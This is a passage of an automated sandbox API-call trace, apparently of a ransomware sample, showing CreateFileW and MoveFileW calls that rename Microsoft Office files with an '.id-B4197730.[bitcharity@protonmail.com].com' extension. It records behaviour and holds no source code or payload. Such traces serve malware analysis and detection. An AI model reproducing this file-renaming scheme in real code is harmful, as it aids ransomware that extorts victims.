hTemplateFile=0x0) returned 0xffffffff [0283.802] CloseHandle (hObject=0x11c8) returned 1 [0283.802] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.802] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.803] CloseHandle (hObject=0x11c8) returned 1 [0283.803] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.803] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.804] CloseHandle (hObject=0x11c8) returned 1 [0283.804] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.804] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.805] CloseHandle (hObject=0x11c8) returned 1 [0283.805] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\web server extensions\\16\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\FPSRVUTL.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\web server extensions\\16\\bin\\fpsrvutl.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.806] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\web server extensions\\16\\bin\\fpwec.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\FPWEC.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\web server extensions\\16\\bin\\fpwec.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\equation\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\AppvIsvSubsystems32.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\equation\\appvisvsubsystems32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.981] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\msmdlocal.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\msmdlocal.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\msmdlocal.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.982] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\msmgdsrv.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\msmgdsrv.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.982] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\msolap110.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\msolap110.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\msolap110.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\msolap110.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.983] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.983] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrv.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.983] CloseHandle (hObject=0x11a8) returned 1 [0283.984] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.984] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrvi.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.985] CloseHandle (hObject=0x11a8) returned 1 [0283.985] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.985] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msolui110.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.986] CloseHandle (hObject=0x11a8) returned 1 [0283.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\xmsrv.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\xmsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\xmsrv.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\xmsrv.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\1033\\grooveintlresource.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\GrooveIntlResource.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\1033\\grooveintlresource.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.345] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\AppvIsvSubsystems32.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\appvisvsubsystems32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.347] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.347] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessCompare.rdlc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\accesscompare.rdlc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.347] CloseHandle (hObject=0x1188) returned 1 [0284.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\DocumentFormat.OpenXml.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\documentformat.openxml.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\DocumentFormat.OpenXml.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\documentformat.openxml.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.356] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.356] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\EmptyReport.rdlc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\emptyreport.rdlc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.356] CloseHandle (hObject=0x1188) returned 1 [0284.361] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.361] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare.HxS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.361] CloseHandle (hObject=0x1188) returned 1 [0284.362] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.362] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.362] CloseHandle (hObject=0x1188) returned 1 [0284.363] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.363] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.364] CloseHandle (hObject=0x1188) returned 1 [0284.364] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.364] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_f_col.hxk.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.365] CloseHandle (hObject=0x1188) returned 1 [0284.365] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.365] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_k_col.hxk.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.366] CloseHandle (hObject=0x1188) returned 1 [0284.366] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.366] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare.HxS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.367] CloseHandle (hObject=0x1188) returned 1 [0284.367] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.367] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.368] CloseHandle (hObject=0x1188) returned 1 [0284.368] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.368] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.368] CloseHandle (hObject=0x1188) returned 1 [0284.369] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.369] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_f_col.hxk.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.369] CloseHandle (hObject=0x1188) returned 1 [0284.370] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.370] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_k_col.hxk.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.370] CloseHandle (hObject=0x1188) returned 1 [0284.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraChart.v11.1.Design.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrachart.v11.1.design.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraChart.v11.1.Design.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrachart.v11.1.design.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0285.908] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706b38 | out: hHeap=0x630000) returned 1 [0285.908] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdf90 | out: hHeap=0x630000) returned 1 [0285.908] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3263a18 | out: hHeap=0x630000) returned 1 [0285.908] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3273a20 | out: hHeap=0x630000) returned 1 [0285.909] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3c7a020 | out: hHeap=0x630000) returned 1 [0285.913] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706880 | out: hHeap=0x630000) returned 1 [0285.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9e68 [0285.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9e68, Size=0x20) returned 0x3f646e0 [0285.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9d00 [0285.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9d00, Size=0x20) returned 0x3f64708 [0285.914] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.914] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.914] Wow64DisableWow64FsRedirection (in: OldValue=0x362ff50 | out: OldValue=0x362ff50*=0x1) returned 1 [0285.914] lstrlenW (lpString="kernel32.dll") returned 12 [0285.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64708 | out: hHeap=0x630000) returned 1 [0285.914] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f646e0 | out: hHeap=0x630000) returned 1 Thread: id = 2572 os_tid = 0x26dc [0241.648] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3283a28 [0241.649] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3293a30 [0241.649] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706898 [0241.649] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6cdfa0 [0241.650] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706850 [0241.650] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x3d80020 [0241.653] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7068b0 [0241.653] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7068b0, Size=0x20) returned 0x6e4018 [0241.653] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706aa8 [0241.653] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x706aa8, Size=0x20) returned 0x6e3de8 [0241.653] GetModuleHandleW (lpModuleName="kernel32.dll") returned 